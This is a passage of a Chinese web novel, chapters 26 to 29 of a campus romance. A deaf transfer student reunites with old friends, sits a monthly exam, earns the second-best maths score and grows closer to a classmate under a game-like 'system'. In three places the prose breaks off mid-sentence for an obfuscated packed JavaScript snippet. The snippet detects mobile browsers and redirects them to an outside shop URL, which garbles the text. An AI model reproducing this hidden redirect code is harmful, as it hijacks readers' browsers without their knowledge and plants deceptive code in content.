池映雪的手轻轻拽住李闻蝉敞开的黑色外套,低垂着头。 蓬松的齐刘海遮住眉眼,只露出纤长轻颤的睫。 那只手也在颤抖,很小的幅度。 池静俭:! 李闻蝉最反感不熟时的肢体接触,他当年第一次见面上手摸了摸他的头,两个人都打了一架。 池静俭反应过来后就想要分开他们。 但一看李闻蝉,他沉默了。 人是傻的,眼睛是眨也不眨的,身子也是不会动了一样。 池静俭收回了手,放在下巴上摩挲:“咳咳。” 李闻蝉如梦初醒。 [叮!攻略对象好感+0.5。] 池映雪见他似乎没有抗拒的情绪,松了口气,再次递上手机:「三个人一起好吗?我想要三个人的。」 她想了想,一鼓作气,「我还没有过类似的家庭合照,想发在中秋的企鹅空间动态里,可以吗?」 池静俭:「我当然没问题。」 他在身后用手肘怼了怼僵硬的李闻蝉。 李闻蝉目光很是复杂,明明灭灭,最终无可奈何地叹了口气。 「好。」 发完合照,系统撒着花花。 [叮!攻略任务“在社交平台发布有关男主的动态(全部人可见)”已完成,新任务开启:“和男主讨论数学大题”。] 池映雪的笑容缓缓消失。 正好走出俱乐部,中秋的夜晚,天心一月很亮很圆。不是金黄,是像课本里的咸鸭蛋或者橘子那样浓烈的橘色。 池映雪抬头看天,很想叹一口气。 也是这时,走在她身后的李闻蝉擦肩而过,柑橘香一晃即逝。 清冽的声音低低滑过她的左耳。 “……真是怕了你。” “就不会生气的么?” 池映雪的瞳孔微缩。 中秋假的最后一天,池映雪背着鼓鼓的书包坐进车里。 车辆从繁华的富人区一路驶向老城区,安静而繁密的梧桐树,上次见还是油绿,此刻已经染成金黄。 南城七中对面的公交站前,司机还没有完全停稳,池映雪就迫不及待打开车门,从上面跳下,一眼就锁定了不远处奶茶店门口站着的两个人。 许苹安剪着妹妹头,脸蛋红扑扑的,和名字一样像个小苹果。 裴景还是那样清瘦颀长,穿着洗到略有些发白的校服,淡淡地笑,吸引了许多路过女生的视线。 金色梧桐叶在秋光里的阴影落在他们身上,两个好友不约而同地朝她挥手。 池映雪刚从车上冲下来的步伐忽然停住,紧抿着唇,强忍住鼻酸。 ……怎么办。 她好舍不得这一幕。 还是许苹安看池映雪一直呆呆的,小跑过来敲了敲她的脑袋,拉着她去和裴景汇合。 他们今天约的这家“甜蜜倾城”奶茶店不是连锁的品牌,就是一家开在七中这边很有年头的小店,主打一个价廉。至于物美不美——据许苹安所说,她亲眼看见过老板往机器里倒奶茶粉,当着她的面,装都不装一下。 许苹安当时说:「起码他很真诚。」 池映雪坐在“甜蜜倾城”的小沙发上,想到这个,不由弯了弯唇。 许苹安偷偷和裴景说:“完了,小雪去了一趟虹文,光学会傻笑了。” 小店里奶茶种类不多,就是不同口味的冲泡奶茶、柠檬水、甘蔗汁和色素沙冰,池映雪之前只来过几次,这次也和之前大多数时候一样,三人一人一杯无糖甘蔗汁。 许苹安把一个密封完好的小纸箱给池映雪:「小雪,这是你之前留在七中桌子上的东西。」 因为早就在企鹅上说过这事,池映雪按了两下大拇指,笑眯眯地就要接过,许苹安的手却没有收回。 池映雪不解地歪了歪头。 许苹安咬着唇纠结了一会儿,和裴景交换眼神,在手机打字:「小雪你在虹文还好吗?」 「在池家还习惯吗?你亲人对你怎么样,没有人欺负你吧?」 「千万不要逞强啊,虽然我和裴景人单力薄,但如果有什么事,我们可以一起想办法!」 还有好多好多问题被急吼吼地打出来,池映雪看着看着,忍不住咧开嘴笑,摇头时却有眼泪忍不住滚出来。 许苹安担忧:“小雪……!” 「不是,我真的没事,不要担心。」池映雪擦了擦眼泪,「我在新家很好,你们看我的新衣服,新书包,对了我还用妈妈给的零花钱给你们买了新教辅和文具,尤其是裴景,高三了要多加油。」 「我在虹文也很好,班主任很温柔,没人欺负我,还交到了很多很好的朋友。」 池映雪的手顿了顿,红着眼睛接着打字,「我就是,有点想你们。」 许苹安嗫嚅半天,狠狠揉了揉她的脑袋:“笨蛋小雪——” “什么嘛!突然搞这么煽情。” 许苹安捂着脸,余光看向对面的裴景。 裴景刚扭过头抹去泪水,被她抓了个正着,有些不自在。 他清了清嗓子,拿出手机。 PeiKingU:「不管怎样,我们永远在你身后。」 苹安果:「对呀,你就安心在虹文大展风采吧,我们天才小雪做什么都很厉害的!」 许苹安垂下眼,想起班上那些坏家伙议论池映雪的话,哼出一口气。 苹安果:「记住,向前跑就完事了,别回来,别回头。」 裴景看着三人小群里弹出的消息,嘴角抽了抽:“明明是你最煽情好吧。” 情感宣泄完,池映雪挠了挠脑袋,感到些许羞耻。 但抬起眼看见另外两个人脸上也泛着红,又弯着眼傻笑起来。 许苹安突然拍大腿:「哦差点忘了!」 「你上次不是问我校霸吗?我在箱子里给你装了两本我压箱底的校霸文,超不良,超经典,你学累了可以看看。」 PeiKingU:「。。校霸?」 苹安果:「高三生请退出休闲娱乐频道。」 裴景没理她,脸色古怪了一瞬,眨着眼问池映雪:「小雪喜欢不良校霸那种?」 他记得她似乎说过,看小说都只喜欢成绩好的学霸那种。 裴景若无其事地用吸管搅动甘蔗汁上的冰沙,另一只手却用力扣住膝盖。 池映雪正在喝甘蔗汁,差点没一口呛死。 喜欢?校霸?她? 小雪:「没有没有没有!」 她斟酌了一会儿,火急火燎地打字:「我就是好奇,毕竟你们也知道,我们学校就有个“校霸”嘛。」 苹安果:「啊,我懂,那个李闻蝉。」 PeiKingU:「他没有对你怎样吧?」 池映雪转了转眼珠:「没有……」 许苹安和裴景双双松了口气,裴景的另一只手也舒展地扶住饮料杯,低眸掩住情绪。 池映雪看着他们如释重负的样子,心想李闻蝉在大家心里怎么就这么可怕呢? 她眼里的他,她听见的他,都不是那个样子。 但她听不见别人的话,因此很少有渠道知道各种传闻,也许有什么她不了解的事。 小雪:「你们为什么这么怕他?我经常听说他怎么怎么可怕,但从来没见过证据。」宁世延那次不算,他不冤。 「李闻蝉,到底做过什么呀?」 周末月考,周五的晚上用来自习和答疑。 今天依然下雨, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13635246|143743||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过了中秋,很明显降一层温,同学们全都换上了卫衣或厚衬衫,在外面套校服。 池映雪埋头做题,前排的万苏瑶背古文背到翻白眼,听到下课铃就把书一扔转着头找乐子。 这一转,就和何骏对视。 万苏瑶:真晦气。 见鬼的是,先移开眼的却是何骏,似乎还很忌惮。 万苏瑶疑惑地多看了两眼,发现何骏走路一瘸一拐。 万苏瑶不明所以,不妨碍她拍下来笑话他。 她回头打算和池映雪分享喜悦,定睛一看,懵了。 ——池映雪伏在桌前,身后乌乌泱泱挤了一圈人,全是拿着数学卷子虚心求教的。 今晚徐静萌去开会,不知道什么时候回来,几个人拿着模拟卷的压轴题和看不懂的答案去请教学委章子健,但他也不会,灵光一现找到了池映雪。 本来就三五个人,章子健他们等池映雪解题的时候,又来了几个爱凑热闹的气氛组。 池映雪专注在解题里,她写题几乎没有停顿的地方,一气呵成,很快写完了最后的证明结论。 李闻蝉和胡挚接完水进门的时候,就看见一圈人围着她竖大拇指,由衷叹服。 李闻蝉眼里划过笑意,朝座位走去时路过池映雪的位子,一圈人除了章子健,见到他都纷纷散开。 眼前忽然空旷,池映雪抬起眼看过去,和李闻蝉淡淡的目光对上。 校霸的威风啊。 还有……她低头盯着刚解出来、比参考答案更详细易懂的过程,脑子里面“和男主讨论数学大题”与“数学5分”那两行字不断来回闪动。 池映雪又盯向李闻蝉,幽幽叹了口气。 李闻蝉:这什么眼神? 他单手握拳抵在唇边轻咳了一声,最后还是没有选择直接和池映雪交流。 李闻蝉拉住一旁的胡挚:“你刚有没有看见她的眼神?那是怜悯吧?” “哥,不是我说。” 胡挚拍了拍他的肩,“你看看人家,压轴写得比参考答案还深入人心,再看看你,不怜悯才怪了。” 察觉到李闻蝉的视线逐渐危险,胡挚赶紧拍了拍嘴,双手紧紧抱臂,装模作样地转移话题,“哎,今天好冷啊,是吧蝉哥~” 李闻蝉哼了一声,回到座位,手撑着脸,无聊地转笔。 他要是不要脸一点,直接……那回回考试都能考个年级前几玩。 “你不是从来不在乎成绩嘛,最近咋回事?” 胡挚精准点评,“不过你要是想学,肯定不在话下。我老爹都说蝉哥你是从小太聪明了,干什么都特简单,得心应手的,不care这些。” 李闻蝉忽然有些恍惚。 李闻蝉:“其实,没你说的那么夸张。” 胡挚:“嗯哼?” “你还谦虚上了?我又没拍马屁。” “不是。” “我也不知道怎么和你说。” 李闻蝉手指夹着停止转动的笔,蹙起眉,“我总感觉我的这种‘聪明’,很虚浮,就像是……被安排好万众瞩目。” “每次干什么招摇的事,都有一堆人围观,贬损或者夸耀,传得轰轰烈烈。” 胡挚:“你要这么说,那确实……” 去年他们初入高中,正是青春懵懂时,蝉哥坐个地铁都能被人偷拍发在论坛上海底捞,更别说什么篮球赛、运动会,甚至“打架”现场。 别人打架被通报,蝉哥打架战损图出圈,被盖楼三百层捞人。 当然了,是他战,别人损。 李闻蝉:“而有的人,同样什么都上手快,第一次打台球就能一杆清台,完全可以称得上天才。” “只是平时没那么引人注目,很少人发现。” 李闻蝉的余光扫向左侧开始写第二张试卷的女孩,似乎看见她做一道题时,手里的笔慢慢停下来。 这可真难得。 他收回眼,轻声感慨,“但,她才是真的聪明。” 池映雪的笔停了好一会儿才慢吞吞地重新动起来,却是在草稿纸上画东西。 …他说的不会是她吧。 …… 今天好热。 27. 第 27 章 月考当天,秦书亲自送池映雪和池鲤鲤去学校。 下车前,她编辑了很长的注意事项给第一次在虹文参加考试的池映雪:「小雪,加油考,别紧张。虹文是百年名校,生源很优秀,你考不好也没关系,爸爸妈妈不会说你的,放轻松就好……」 「你进校的时候我就和学校商量过,根据高考政策来,你的英语听力不用答,到时候用其余的卷面分乘以1.25算成英语总分。虹文每年有很多要出国的学生,英语很难,你不会的就猜一猜,空填满就行。」 池映雪本来翘首以盼,看见这些话,突然有些不自信起来。 还好上次放话要考进一班只是对宁世延一个人,顶多加个李闻蝉,但他也看不见她写的那些话。 池鲤鲤收起单词本,喝了口冰美式,自信开口:“没事的妈妈,姐姐之前在七中,耳朵又……她考不好也正常,没人会说什么。” “我这一周都在跟着家教老师补习,保五争三,等成绩出来,妈妈要请我去吃小蛋糕呀~” 她和池映雪一起下车,雨幕中,两把相同的高级小洋伞一前一后。 走到教学楼下,池鲤鲤忽然停下来,用手掩嘴,夸张地“啊”了一声。 池鲤鲤:「姐姐,我才想起来我要去第一考场,和你的考场离得很远呢,我先走了。」 虹文的期中和期末考随机编号,月考则是按成绩段分考场。池映雪是新来的,安插在最后一个。 池鲤鲤:「希望你下次考试能多前进几个考场呀。」 她匆匆离去,一连数日的沉闷脚步都轻快起来。 系统看着池鲤鲤春风得意的背影,皱起小脸。 [……这就是小说女主角?这是反派吧?] 池映雪:“这不是你自己拿给我的小说吗。” 系统:你要这么说我也…… 它前两天翻阅了一下衍生文,全篇围绕池鲤鲤这个中心角色展开,虽然是假千金也从未被放弃,反而备受呵护、又甜又爽,真是“所有人都爱她”。 看文时不觉得有什么,反正基本所有真假千金文都是这个调调:真千金是女主,假千金就要自觉让位或者受到惩罚;假千金是女主,那就走团宠路线,打压真千金;或者开一朵故乡的百合。 但它跟在宿主身边再回顾,怎么看都不是滋味。 明明那些爱、信任、教育、资源、人际关系……都该是宿主的才对。 [宿主。]系统纠结半天,弱弱道,[你不怨吗?] 池映雪没去过今天考场所在的教室,一手打伞,一手拿准考证,努力辨认方向。 “不重要。” 她淡淡地想,“已经发生的事,我没办法改变。” “我能做的,只有努力一点,更努力一点。” 努力不被忽视。 不能被听见,那就努力被看见吧。 池映雪在一条露天长廊前停下,不知道是否该接着往前走,虹文真的太大了。 [滴!检测到攻略目标李闻蝉。] [宿主,是男主大人!] 池映雪捏紧薄薄的准考证,抬起眼,恰好被不知何时在走廊拐角尽头回眸的李闻蝉看见。 考试日不用穿校服,她穿了,他果然没有——又换了一身黑色的衣服,还是运动套装,比上次那件更简约。透明的伞下,锋锐的眉眼在雨气中显得朦胧,看不透表情。 他们应该在一个考场。 这么想着,池映雪朝李闻蝉的方向迈步,他却蓦然转身,戴上耳机走远。 池映雪的第二步还没踏到地上,就滞留在空中,默默收回去。 系统头一回对它的男主大人做了个鬼脸。 池映雪本来还郁闷,转眼看见小团子为她打抱不平,好像雨天也没那么冷了。 她拍拍脸,跟着李闻蝉刚才的路线走,到一个T形拐角的岔道却毫无头绪,于是在原地停下来,低头编辑备忘录。 一会儿找个人问问好了。 “喂!” 池映雪没听见这声怒喝,倒是感受到伞与伞的撞击,以及水滴洒在脸上的湿润冰凉。 三个男生打着伞站在她面前,左后面的那个指着她,不知道在说什么,表情很不耐。 “我说你怎么回事,看见人不知道躲吗?!”男生瞪着池映雪,“更何况我们沈神刚才还说了‘借过’,你还一动不动,聋子啊!” “而且也不知道什么时候站在这个拐角的,就沈哥看见。这也太没存在感了……” 沈星桥回头看了二人一眼,眼神警告地摇摇头。 不知他对他们说了什么,对方很快从震惊变到深深的愧疚,双手合十对池映雪道歉。 池映雪习惯性微微点头,摆了摆手。 她没想到这么巧会撞到沈星桥,手里写到一半的问路讯息被他看见,沈星桥为难的思考了一会儿,在下面打字。 「我知道你的考场在哪,我带你过去吧。」 池映雪手摆得更厉害。 「快开考了,你告诉我大概方位就好,谢谢你啊」 最后的句号都没打,沈星桥和身后两个男生说了句话,按灭她的屏幕。 “可能……” 沈星桥收了自己的伞,握住她的那把。他嘴角微微上扬,池映雪只能大致判断出口型。 “要跑一下?” 雨天地面很滑,沈星桥的手若即若离护着她。 池映雪紧紧跟在他身侧,喘着气跑到最后一个考场门口。 还好,还有10分钟,一考场就是微积分的教室,离这里不远,应该够他再赶回去。 沈星桥和她告别,转身离去,池映雪这才发现他刚才靠外侧的肩膀已经湿透了,水痕在白色的衬衫上很是明显。 再低头,她的身上很干燥,只有零星几滴水。 虹文不愧是顶级生源的名校,池映雪走进考场,靠前座位上的学生并没有想象中的散漫,反而个个拿着语文书复习。她还在里面看见了胡挚,和他打了个招呼。 池映雪的座位在最末,周围的人没几个在学,不是睡觉就是玩手机。 右前方有个空座位。 他怎么还没来? 池映雪收回视线,取出语文书,又眺望一眼胡挚,见他没什么特别的反应,才哼了哼气,低头最后浏览一遍古文注释。 开考十五分钟停止入场,直到第十三分钟的时候,门口传来一阵匆促的脚步声。 池映雪给阅读划线的笔丝毫不停,直到这句划完,将视线移向左手的表,嘴角下撇。 脚步声在教室门口停下,没有进来,池映雪忍不住坐直,往那里看去。 “哈……” 李闻蝉的手扒在门框上,四处探寻的瞳孔定住,和她目光交汇。 骨节分明的手松懈下来,从扒改成轻撑。他把被水打湿的黑发往后撩,眉眼舒展,因为湿润更深更浓,嘴不再紧抿,红唇微喘着气。 李闻蝉随手将伞扔进门口的雨伞堆,从书包里取出两根笔,然后甩包到存放柜最上面,慢悠悠往座位走。 池映雪重新看向试卷,专心致志。 阅读理解她真的不擅长,池映雪感觉这个东西很玄乎,曾经请教过语文很好的裴景,裴景说,“只可意会不可言传”。 虽然言传也传不了她就是。 池映雪强项在记忆和逻辑,文言文、课内古诗、语基都胸有成竹,议论文在七中时得分也很高,偏散文的话就要弱一些。最近在五班的几次作文成绩都不算好,她最后还是选择稳妥,写结构清晰的三段式,开篇引用尼采,隔两段塞一句康德、余华。 最后一个字落笔,她轻轻合上笔盖,抬起头。 李闻蝉睡得很安详。 池映雪:……… 她算是明白这人的那些分数是怎么考出来的了。 周天晚上,考试全部结束,万苏瑶和胡挚就数学最后一道选择题的正确答案展开激烈讨论。 他俩“吵”得太凶,连后排的池映雪都惊动。章子健端着一杯热茶路过:“他俩什么时候进化到争论数学选择压轴的境界了?” “你不懂。”观战已久的秋怡和他分享黄瓜味薯片,“就是因为都是蒙的,所以才吵成这样,现在进展到‘三短一长选最长’和‘压轴选B概率最高’的辩论上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13635247|143743||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 章子健:“…………” 赌上学渣的尊严? “诶。”章子健突然看到正在李闻蝉座位上奋笔疾书的穆雨阳,对两个互啄的菜鸡笑眯眯,“一班的大佬不是就在那儿吗,你俩问问呗。” 穆雨阳笔杆子没停,举左手投降:“我也不会,我蒙的。”那题是老齐出的,完全超纲。 “蒙的哪个?!”两道声音同时响起。 穆雨阳抬眼就看见万苏瑶和胡挚虎视眈眈地瞪着他,咽了下口水,弱弱道:“B……” 胡挚挥拳:“Nice!” 万苏瑶不屑道:“呵,这有什么?我家小雪蒙——啊不选的C!” 李闻蝉这时刚好从后门走进,手上还沾有水,接过胡挚递来的手帕纸仔细擦拭。 池映雪这两天一直琢磨着任务,苦恼地望过去,在他的袖口发现一根突兀的毛,和黑色卫衣形成鲜明的对比。 李闻蝉低着眸拂去毛毛,随口问:“你们刚在说什么?什么C不C的。” 胡挚叽里呱啦地讲了一遍他和万苏瑶的荣誉之战,着重强调:“我当然相信我们穆老师,穆哥哥,穆神!” 穆雨阳:“别奶,求你。” 胡挚转了转眼珠:“蝉哥,你直觉准的很,你看题了吗?你觉得选啥?” “选择最后一道么。”李闻蝉把用完的手帕纸揉成团,抛起又接住:“……C?” 胡挚脸上愁云惨淡。 万苏瑶笑得飞起,又不敢当着李闻蝉的面太放肆,清清嗓子,眉飞色舞地和刚好放下笔呼气的穆雨阳搭话:“大佬今天莅临五班,所为何事啊?” “当然是为了报答我蝉哥!”说到这个穆雨阳就来劲了,两眼放光,“蝉哥对我大恩大德啊!小的没齿难忘,只能帮他把月考前布置的作业全写了!” 万苏瑶牙有点酸:“怎么没人帮我写?” 胡挚:“人都说了报恩,你说呢?” “哦对了,你们应该还不知道,刚刚过去的宁世延那事儿,最后提交的决定证据监控录像,蝉哥当时去保安室调的。要不是他早有准备,等事发后监控就被覆盖了。” 万苏瑶:!!! 万苏瑶肃然起敬。 她敏锐地耸了耸鼻子,惊讶地看向从始至终一派淡然的李闻蝉,又瞧了眼阅读课外读物的池映雪。 万苏瑶摇摇头,在座位下打开企鹅,把这件事告诉了池映雪,仔细观察她的反应。 池映雪收到消息,半晌没有回神。 万苏瑶见她和自己一样吃惊,内心很是安慰。她就说嘛,监控是为了穆雨阳,跑操后的棒棒糖是顺手的意外。 小雪和李闻蝉,一个那么乖,一个那么……野。这两个人怎么可能? 瑶瑶:「现在就是不知道那个99是谁,真大佬啊,和lwc一个等级,一个搞到照片,一个搞到监控,气死宁世延那群zz!」 池映雪眨了眨眼。 其实,这两个大佬是同一位…… 可看样子,李闻蝉谁也没有说。 为什么呢? 池映雪放下手机,向右侧首。 半身闲靠,窄面精致,浓黑色头发细密蓬碎,鼻梁笔直,眼尾内双上扬。不笑的时候带着锐利的冷,还有点凶。 不知和胡挚说了什么,李闻蝉忽然笑了起来,意气风发,看着就很张扬。 池映雪莫名和他染着笑的余光对上,发现他也愣住,她转回头,梳理着乱糟糟的思绪。 看上去这么张狂的人,真会做好事不留名么? 甚至,他还有一堆恶名。 系统把人物小传捧出来极力推销:[宿主要是疑惑的话,可以解锁呀,你想知道的里面全都有哦!] 池映雪还没来得及回应它,刚出门一趟的章子健就冒出来拍了拍穆雨阳,徐静萌也抱着卷子出现在后门口。 胡挚:“萌,萌萌姐好——” 徐静萌:“好,都很好。” 她拍了拍手上的月考卷子,眼神扫过瑟瑟发抖的学生们,目光在池映雪身上多停了一秒,发出死亡微笑。 “可我、不、好。” 28. 第 28 章 穆雨阳恍恍惚惚走回一班的时候,池鲤鲤身边正围着一群人估分。 “鲤鲤,你这次前五又稳了吧!” “那肯定的呀,我们鲤鲤是谁?”邢芷笑着说,“对了鲤鲤,你那个姐姐最近不是在家里很低调吗,她考得怎么样?” “我估计啊——她不是自己想低调,是考砸了故意降低存在感,怕被戳破什么七中‘学霸’的谎言吧!” 几个人笑意讽刺,池鲤鲤没有接话,但嘴角也是上扬的。 她悄悄看了一眼沈星桥,他正在看书,没有什么反应,池鲤鲤笑意更浓。 穆雨阳白了这群人一眼,还没开口,齐幂黑着脸走进教室。闹哄哄的男女生们迅速散开,各自回到座位。 齐幂:“你们还挺热闹,莫非对自己的分数很满意?” 他把厚厚的试卷沓重拍在讲台上,本就冷峻严肃的面容更加寒气逼人。 “数学组的老师,从考试结束就熬夜加班,终于赶在今天下午把成绩改出来。”齐幂扶了扶银边眼镜,“但现在我想还不如不改。” “我们班很多同学,进了虹文最好的班,拿最好的资源,自命不凡。如果你们把看论坛的时间和竞争攀比的精力花在学习上,不会考成这样。” 宁世延和其余几个上次被叫出去的人满脸通红。 “年级单科第一沈星桥。”齐幂的声音并未放缓,抽出最上面那张试卷,“148,自己觉得怎么样?” 教室里响起此起彼伏的抽气声。148! 虹文为了让学生收心不浮躁,每学期开学和第一次正式月考都是祖传的难,这次齐幂负责出题,还在压轴出了超纲的内容,能考140,不,135都能当单科前十了吧! 再想想,那可是沈神,又不是什么突然冒出来的无名之辈,众人释然了。 沈星桥声线淡然:“齐老师,我想知道我丢的2分在哪里。” “好问题。”齐幂气出冷笑,“我也想问你,倒数第二道大题最后一问,这么简单的分类讨论都没写全,你考试时在想什么?” “你考完试来告诉我选择最后一道题是猜的,可这次的单科第二同样。人家猜错了,如果和你一样猜对,这个第一你守不住。” 齐幂让沈星桥坐下,眼神扫向交头接耳的邢芷和池鲤鲤等人,眉梢一挑。 “数学单科第二和第三都不在一班。第三名是二班的数学课代表,老熟人了,那你们知道第二名是谁吗?” 穆雨阳的同桌疑惑道:“你笑什么?” “没什么。”穆雨阳摆摆手,“你往下听就是。” 池鲤鲤对此毫不关注,低头整理卷子报纸。 管他谁呢,总不可能是聋…… “是池映雪。” 咚! 刚才很小动静的叽叽喳喳彻底安静下来,池鲤鲤手里的风琴包掉落在地,响声明显。 她瞳孔紧缩,面色难看。 齐幂:“大家应该不陌生吧?五班的新转校生。” “池映雪同学。” 五班,随着徐静萌话音落下,胡挚下巴都要掉下来了! “萌萌姐刚说啥?是数学145单科第二吧?啊!”胡挚双手捂着脸惊恐道,“我知道雪姐牛,没想到牛成这样啊!!” 胡挚向左后方转头,捂脸的食指和中指分出两条缝,敬畏地看向低着头的文静女生。 池映雪每天静悄悄的,干什么都没什么动静,又坐在最后。要不是坐的近,胡挚甚至都不会注意到她。 此刻他眼里的池映雪却闪着学神专属的金灿光辉。 徐静萌下载了一个语音助手软件,用扩音器说的话逐字浮现在池映雪的平板上。系统也看见了,趴到平板上撒下一大把花花。 池映雪不好意思地挠挠头,其实她挺意外的,毕竟这次的大题太难了,她差点没做完,都没有时间检查。 但这样看来,瑶瑶要失望了,她估计丢的那5分就是最后一道选择。 “运气还是差呀。”池映雪对系统说,“我从来没有蒙对过任何一道题。” 系统安慰她:[没关系,宿主只要好好攻略男主,气运一定会慢慢变好的。] 池映雪笑了笑,没有多当真。 徐静萌只对她一个人温柔,对其他人严厉批评,池映雪默默关掉这时的语音功能。 等到下课,水群里由万苏瑶和秋怡带头接起长龙,全是“雪姐nb”,秋怡还给她搞了个群头衔—— “数雪之神”。 池映雪:…… 池映雪脸上好烫。好羞耻啊! 课代表在发卷子,正好是之前和她交换巧克力的女生之一。池映雪捏了捏拳,走过去主动帮忙。 课代表有些犹豫。 这可是她们班的金苗苗,耳朵又……万一发卷子时被哪个不长眼的磕了撞了怎么办? 她恨不能把池映雪供起来,可不敢让她干活! 还是路过的万苏瑶弄清来龙去脉后拍拍她,把卷子拿去给池映雪,正好是学号靠后的那一沓。 最后一张是她,池映雪先放回座位,去发其他人的。发到后面几张,在里面看见了李闻蝉的卷子。 只“写”了选填,填空还全写的“0”。 ……她就知道! 池映雪忍不住对系统吐槽:“这不是我不愿意做任务呀,你看他,大题全都空着,怎么讨论嘛?” 系统不敢多看,怕看多了对男主大人滤镜碎一地,默默隐身。 池映雪吭哧吭哧地挪着步子去最后排,忽然发现李闻蝉的选择正确率高得吓人! 还有,填空题的确有2道都是0!据徐老师说,是出题的齐老师特地为了混淆大家的结果。 池映雪怒了一下。 这就是传说中的男主光环? 再定睛,他选择最后一道分明是B,是正确答案。 池映雪把卷子拍在李闻蝉桌上,抿起嘴巴。 ——那他刚才说什么C嘛,真是。 转身,池映雪却猛然停住。 要不是及时抓到了桌角,估计就摔倒了。 李闻蝉手插着兜,低头注视她刚才随手放在桌上的数学试卷,浓密的睫毛垂下,因为很长微微翘起,像他此刻的嘴角。 池映雪比被人起那样的群头衔还羞耻,三两步跑过去揪走试卷,抱在怀里,压皱了也不管。 看什么? 走路上连招呼都不打,平时不看她,现在倒来看她的卷子。 还笑,笑话她没有和他一样蒙对题呀。 她低着头,在她小皮鞋前面一点的白色球鞋很快阔步走远。 池映雪把试卷重新叠好放在桌上,似乎听见一声很轻的叹气,她坐下来用余光瞥过去,李闻蝉又没在看她,拿着一本新的漫画书看。 「雪神雪神!」章子健发来消息,「我们可以看看你最后两道大题的过程吗?」 还有一个不太眼熟的同学加她:「池同学,能不能过来找你讲一下第二和第四道填空的思路呀?你写草稿纸上就好,拜托 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13635248|143743||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ~」 池映雪没理由推脱,雀跃地挨个回复「可以」。不一会儿,她身边就围满了人。 很少有时候像此刻一样,她感觉自己被他人需要,不是被怜悯或者帮助,是她帮助别人。 说句不自信的话,在此之前,除了和瑶瑶她们相处,池映雪并没有认为她真的融入了五班,被每个人接纳。 池映雪奋笔疾书,依次在不同人递来的草稿纸上写下小题的思路。 开始是那两道填空和选择的倒数第二道,后来大家看人都挤在这里,更多人凑过来,有隔壁班的,还有让池映雪帮忙写前几道小题详细过程的。 又是一声叹息,比上一次清晰。 但池映雪正好被塞了一张纸,这个没见过的男同学没太注意,草稿纸几乎快怼到她脸上。 她无暇顾及右边,人群拥挤,也没有缝隙可以看。池映雪接过纸,只见上面写着六道小题,全是最基础的。 池映雪看了男同学一眼,对方眼睛里是坦然和期待,她嘴唇翕动,拿起中性笔。 “挤死了,烦不烦啊。” 笔还没有按下去,右边传来不耐烦的清冽声音,不算大,但语气恶劣,尤其配上说话的那个人,效果立竿见影。 密密的人群如鸟兽散,池映雪的座位前瞬间只剩下她和那个男同学。 李闻蝉张扬又逼人的气势大开,凝着男生道:“还有你,你哪个班的?” 男生:“我、我隔壁的,蝉哥。” “你们班没有数学老师,还是没有课代表?” 男生瑟瑟发抖。 有是有,可他和课代表不熟,又不好意思问老师,这不是来串门正好撞上这女的免费教学么! 他再也承受不住李闻蝉冰冷的眼神,从池映雪桌上抢过纸匆匆跑走。 第二节自习课的铃声响起,池映雪看了眼表,身边彻底空旷。 李闻蝉已经转回去,趴在桌上,头埋在手臂里睡觉。 池映雪按下中性笔,心不在焉地盯着选择压轴的题干。 他那是……什么意思? 从结果来看,李闻蝉赶跑了她身边好不容易围起来的人群。就像是她终于满心欢喜的交到了新朋友,他这个不算朋友的旧人,驱散了他们。 可是,可是。池映雪一下一下按动静音中性笔的笔头,笔芯收起来又伸出。 他不会那样的,肯定还有别的原因,可她搞不懂。 池映雪眼神乱飘,再回到手表上时,正好是上次看的十分钟后,一个课间的时长。 脑海里忽然有根弦拨了一下,中性笔芯按出来,她知道这道选择题该怎么做了。 十分钟,考试的时候来不及,拿到卷子后被围住,沉溺在帮助他人中,没有这样安静思考的空间。 现在只要十分钟,她明白了。 池映雪认真地演算了一遍,果然选B。她懵懵懂懂地发了一会儿呆,缓缓向右转过上半身。 所以,是她现在想到的那样吗? 他在帮她,是不是? 窗户没有关严,外面的雨气混在秋日晚风里轻轻吹进。李闻蝉的碎发轻颤,睫毛也是。 骨骼分明的指节搭在肘部,下半张脸被黑卫衣袖子挡住看不清,看上去像是睡熟了,呼吸声轻到几乎没有。 [叮!攻略对象好感+0.1。] [当前男主好感:19.5。] 教室上的白炽灯亮堂堂照下,略显僵硬的指关节旁,冷白玉一样的耳廓,绯红霞色无所遁形。 29. 第 29 章 周中,分数差不多全部出来。徐静萌把汇总后还未上报的成绩单拿到班上投屏,离得最近的秋怡爆发一声尖叫。 池映雪被拥挤的同学们挤到最外层,身高又不够,看不见投影也看不见统计成绩的表单。就在这时,前面的人纷纷朝她侧目,居然自动让出一条道。 她终于看见了投影的第一排—— 